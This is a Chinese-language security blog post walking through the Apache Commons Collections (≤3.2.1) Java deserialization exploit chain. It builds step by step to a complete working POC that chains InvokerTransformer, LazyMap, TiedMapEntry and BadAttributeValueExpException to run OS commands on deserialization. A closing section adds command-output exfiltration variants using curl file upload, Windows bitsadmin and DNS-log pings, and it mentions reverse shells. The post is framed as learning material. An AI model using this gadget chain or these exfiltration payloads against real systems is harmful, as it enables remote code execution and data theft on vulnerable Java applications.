p0's blog | 破 关注网络安全
Java反序列化学习之Apache Commons Collections
发表于: | 分类: Web渗透,代码审计 | 评论:0 | 阅读: 219

0x00 Java中的反序列化readObject

在PHP中反序列化漏洞基本上是利用魔术方法,在进行反序列化的时候结合后面的一些操作从而自动调用某些魔术方法,在Java中我目前只知道toString()方法,和PHP中的__toString()是有相同作用的,没有其他的更多类似魔术方法作用的方法,所以在Java中反序列化是和PHP中还是有一定差异的,但是思路还是有很多想通之处的。

正常情况下,使用readObject()方法读取序列化对象,除了readObject()里的操作,Java不会去执行其他额外操作,但是仅此不能满足开发的需求,所以开发中会根据需求来重写readObject()方法。重写readObject()方法其实是和PHP中编写魔术方法相类似,更贴切对比喻就是PHP中的__wakeup()魔术方法。

所以重写readObject()方法便给漏洞造成一个入口,从而能构造POP(Property-Oriented Programming)利用链。

0x01 反序列化漏洞的Demo

import java.io.*;
public class Demo{
    public static void main(String args[]) throws Exception{

        User u = new User();
        u.cmd = "ifconfig";
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将Unsafe对象写入object文件
        os.writeObject(u);
        os.close();

        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        User objectFromDisk = (User)ois.readObject();
        ois.close();
    }
}

class User implements Serializable{
    public String cmd;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        //执行默认的readObject()方法
        in.defaultReadObject();
        Process p = Runtime.getRuntime().exec(cmd);
        InputStream fis = p.getInputStream();
        InputStreamReader isr = new InputStreamReader(fis);
        BufferedReader br = new BufferedReader(isr);
        String line = null;
        while ((line = br.readLine()) != null) {
            System.out.println(line);
        }
    }

}

可以看到重写了readObject()方法,直接执行命令,这相当于PHP中直接在__wakeup()魔术方法中写了个system()函数,傻子估计都干不出来。但是在重写readObject()方法时会写一些正常的操作,结合Java的反射机制便可以构造利用链。

0x02 Java的反射机制

Java中的反射机制说白了就和PHP中的回调函数是一码事,只是换了个说法(个人理解),下面做一个简单的Demo。

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class fanshe {
    public static void main(String[] args) {
        String name = "Tom";
        Integer age = 14;
        Object test = new Test();
        Class cls = Test.class;
        try {
            /* 关于getMethod()以及 invoke()的应用:
            getMethod(String name, Class<?>... parameterTypes)
                @name:需要反射调用的方法
                @parameterTypes: 需要反射调用方法的各个参数的类型
                返回一个 Method 对象,它反映此 Class 对象所表示的类或接口的指定公共成员方法。
            invoke(Object obj, Object... args)
                @obj:方法对应类的实例化对象,如果反射调用的方法为静态方法,则obj可为当前类。
                @args:方法的参数
                对带有指定参数的指定对象调用由此 Method 对象表示的底层方法。
            */
            Method method = cls.getMethod("print", new Class[]{String.class, Integer.class});
            method.invoke(test, new Object[]{name, age});
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (IllegalArgumentException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }
    }
}
class Test {
    public Test() {}
    public void print(String name, Integer age) {
        System.out.println("Hello " + name + ", age: " + age);
    }
}

关于Java的反射机制的详解可以自行查资料学习。(PS:文中注释为个人查资料+个人理解,不是专业开发,不保证正确)

下面POP链的构造都是以此为基础进行构造。

0x03 apache-commons-collections

测试环境配置

个人感觉,对于Java初学者,最困难的可能就是环境的搭建了,想要一个Hello World出现在面前真是难度不小==、

这里推荐大家测试的时候就使用Maven构建就好了,IDE推荐IDEA。

然后引入commons-collections

<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.1</version>
</dependency>

版本<=3.2.1存在漏洞。

Maven自动下下来的包保存在~/.m2/repository,下下来的是jar包,没有找到源码,推荐使用工具JD-GUI进行逆向即可,当然只使用IDEA也可是,不过搜索起来不方便。

Transform

Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。

transform方法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

可以看到,该方法就是利用Java的反射机制进行函数调用的,传入的参数是input是一个实例化对象,调用的方法iMethodName和参数iArgs都是InvokerTransformer实例化时设定的。所以利用这个方法便可以调用任意对象的任意方法。

我们知道,在Java中调用外部命令不像PHP中直接使用system()或者exec(),Java是完全面向对象的编程,调用外部命令也需要对象->方法或者类->静态方法这样调用,常用的就是 Runtime.getRuntime().exec(cmd),所以单纯的利用上面一个transform是不能达到执行命令的目的的。要多次调用此transform并且上一次的返回结果作为下一次的输入,相当于一个递归(非严格意义)。这是开发中的一个正常的功能,所以commons-collections早就封装好了相关的方法:ChainedTransformer,该类实例化是传入的是一个Transform相关对象的列表,调用ChainedTransformertransform方法是挨个调用这个列表里对象的transform方法。

/*
iTransformers[]列表中第一个对象调用transform方法时的参数是用户传入的,后面的参数分别是上一个transform返回的结果
*/
public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

举个例子:

Transformer[] transformers = new Transformer[] {
        new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"curl localhost:7999"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());

这样便可以调用到exec方法从而执行命令

构造POC

继续上面的例子,假如我们直接把transformerChain对象进行序列化然后反序列化是否会触发命令执行呢,显然不可能,除非代码这样写:

InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
obj = in.readObject();
obj.transform(Runtime.getRuntime());
in.close();

显然不会有程序员这样写的,我们最终的目的是只执行readObject()便可执行命令。

改一下:

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"curl localhost:7999"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
        

这里用到了ConstantTransformer,内置的一个类,会将参数原样返回。

这时候进行序列化会发现问题,Runtime实例化对象是不允许序列化的,所以不能直接传入实例化的对象,所以需要在transforms这个列表挨个反射回调的时候进行实例化,那么就需要先获取到这个类,因为Runtime是利用getRuntime静态方法实例化的,所以就是获取到这个方法。

继续修改:

Transformer[] transformers = new Transformer[] {
            //传入Runtime类
            new ConstantTransformer(Runtime.class),
            //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
            new InvokerTransformer("getMethod",
                    new Class[] {String.class, Class[].class },
                    new Object[] {"getRuntime", new Class[0] }),
            //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
            new InvokerTransformer("invoke",
                    new Class[] {Object.class, Object[].class },
                    new Object[] {null, new Object[0] }),
            //反射调用exec方法
            new InvokerTransformer("exec",
                    new Class[] {String.class },
                    new Object[] {"curl localhost:7999"})
    };
Transformer transformerChain = new ChainedTransformer(transformers);

上面这个执行过程有点绕,不亲自调试一下不太好理解。

这样反序列化后就可以这样obj.transform("random_input");触发命令执行,参数可以任意,但一般也没有程序员去这样写,照着想要的效果还差很远。

找到LazyMap类的get方法,发现里面调用了factory实例化的transform方法

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

这里的get方法和PHP中__get魔术方法不一样,不能自动调用

继续,找到TiedMapEntry类的toString()方法,调用getValue()方法

public String toString() {
    return this.getKey() + "=" + this.getValue();
}

getValue方法调用了map实例的get方法

public Object getValue() {
    return this.map.get(this.key);
}

Java中的toString方法是和PHP中的__toString魔术方法有相同的作用的,当将这个对象当做字符串处理的时候会自动调用这个方法。

修改POC:

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

序列化entry对象,当漏洞反序列化代码如下时触发漏洞:

InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
System.out.println(in.readObject());
in.close();

这种写法相比于前面看着正常很多,也不乏存在,不过还是达不到通用。

所以接下来我们找这样一个类:重写了readObject方法,并且对某个变量进行了字符串操作(看了遍jdk1.8的源码,没找到--.)。

ysoserial的POC直接利用了BadAttributeValueExpException类,这个类直接就调用了toString方法。(PS:ysoserial是一个开源的Java反序列化POC生成工具)

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

所以将BadAttributeValueExpException类实例化,val变量赋值为TiedMapEntry的实例化对象,反序列化的时候便会触发命令执行。

至此,完整POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import javax.management.BadAttributeValueExpException;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class POC {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"curl localhost:7999"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

        // val是私有变量,所以利用下面方法进行赋值
        Field valfield = poc.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(poc, entry);

        File f = new File("poc.txt");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("poc.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        ois.readObject();
        ois.close();

    }
}

0x04 命令回显

可以发现,使用Runtime.getRuntime().exec是没有回显的,常用方法便是利用

curl http://vps/?`whoami`

这种嵌套命令带出来结果。

但是在Java中好像不好用:

➜  ~ python -m SimpleHTTPServer 7999
Serving HTTP on 0.0.0.0 port 7999 ...
127.0.0.1 - - [15/Nov/2018 14:23:40] "GET /?`whoami` HTTP/1.1" 200 -

其实这样直接执行命令也有很多其他限制。

这就涉及exec的用法,自行百度吧,给出一个改进:

String[] execArgs = new String[] { "sh", "-c", "ifconfig > /tmp/data && curl localhost:7999/ -F 'file=@/tmp/data'" };
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }),
        new InvokerTransformer("invoke",
                new Class[] {Object.class, Object[].class },
                new Object[] {null, new Object[0] }),
        new InvokerTransformer("exec",
                new Class[] {String[].class },
                new Object[] { execArgs })
};

也可以传输相对大的执行结果,当然直接反弹shell也完事了。

Windows:

String[] execArgs = new String[] {"cmd","/C","bitsadmin /transfer myDownLoadJob /download /priority normal \"http://192.168.91.1:8080/%USERNAME%\" \"C:\\Users\\Public\\1.txt\"" };

或者使用dnslog:

String[] execArgs = new String[] {"cmd","/C","ping %USERNAME%.dnslogserver.com" };

缺陷就是带出来的数据很小,可以先下载个curl.exe或者wegt.exe再进行数据传输,灵活运用。

0x05 其他

apache-commons-collections反序列化漏洞的构造方式有好几种,这里就分享记录了一种,看似一个简单的漏洞,零零散散的看了好几天,什么泛型、接口、反射机制...感觉一些东西不写下来永远理解不透彻,已存的洞理解不了,谈何挖洞。造个轮子,也给后学者一些便利。

0x06 参考链接

https://security.tencent.com/index.php/blog/msg/97
https://www.freebuf.com/vuls/175252.html


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/121/
来源:https://p0sec.net/

添加新评论

TOP